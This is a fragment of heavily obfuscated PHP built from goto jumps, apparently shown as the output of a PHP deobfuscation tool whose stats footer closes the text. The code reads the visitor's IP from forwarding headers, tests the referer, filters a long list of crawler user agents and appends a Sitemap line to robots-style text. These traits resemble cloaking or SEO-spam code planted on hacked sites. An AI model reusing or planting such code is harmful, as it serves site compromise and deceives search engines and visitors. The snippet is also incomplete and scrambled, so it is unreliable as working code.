roMZF:
goto kPZqu;
GYAQf:
echo $KAaRW;
goto sNEdl;
myiK0:
function w7ivS()
{
goto tAmlc;
AIZ2j:
KbdgH:
goto MmuRG;
MmuRG:
$Znn_c = getenv("REMOTE_ADDR");
goto hD6AD;
yStCm:
$loCvs = explode(",", $Znn_c);
goto uYJvr;
cO553:
goto ceCKc;
goto AIZ2j;
d9XI4:
goto ceCKc;
goto IbooK;
tzLli:
return $Znn_c;
goto wHws1;
PB4S6:
$Znn_c = "0.0.0.0";
goto d9XI4;
hD6AD:
ceCKc:
goto tzLli;
JCtW4:
if (getenv("HTTP_X_FORWARDED_FOR")) {
goto dPzCC;
}
goto TaAhg;
i7EvH:
kOBVr:
goto xL2xA;
ldpdz:
$Znn_c = getenv("HTTP_CLIENT_IP");
goto i7EvH;
IbooK:
ut17T:
goto GGeGf;
wtIm6:
goto ceCKc;
goto AqDY2;
tAmlc:
if (!getenv("HTTP_CLIENT_IP")) {
goto kOBVr;
}
goto ldpdz;
GGeGf:
$Znn_c = getenv("HTTP_X_REAL_IP");
goto wtIm6;
AqDY2:
dPzCC:
goto TxHt1;
uYJvr:
$Znn_c = $loCvs[0];
goto cO553;
TxHt1:
$Znn_c = getenv("HTTP_X_FORWARDED_FOR");
goto yStCm;
TaAhg:
if (getenv("REMOTE_ADDR")) {
goto KbdgH;
}
goto PB4S6;
xL2xA:
if (getenv("HTTP_X_REAL_IP")) {
goto ut17T;
}
goto JCtW4;
wHws1:
}
goto fgmlB;
tdo5r:
exit;
goto cWxDW;
FkWg0:
if (empty($KAaRW)) {
goto w3sKE;
}
goto YbqyY;
d6xm0:
if (preg_match("/({$PRBej})/i", $_SERVER["HTTP_REFERER"])) {
goto M5cNx;
}
goto HwUx0;
QNZvv:
$LCQgf = trim($LCQgf) . "
\xa" . "Sitemap: {$vM29_}";
goto baqA9;
coiQU:
if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot)/i", $_SERVER["HTTP_USER_AGENT"])) {
goto R2Pcb;
}
goto Fwcm3;
W5tka:
ADEWi:
goto p53FC;
EqwxQ:
moX2V:
goto qh039;
Znplz:
if (!($oQ33H < 30)) {
goto hBm_J;
}
goto GKLqu;
Owqab:
KUYx0:
?>
Function Calls
None |
Stats
MD5 | 1094aa73d60ddaf8af58fb3ad2c4e75b |
Eval Count | 0 |
Decode Time | 79 ms |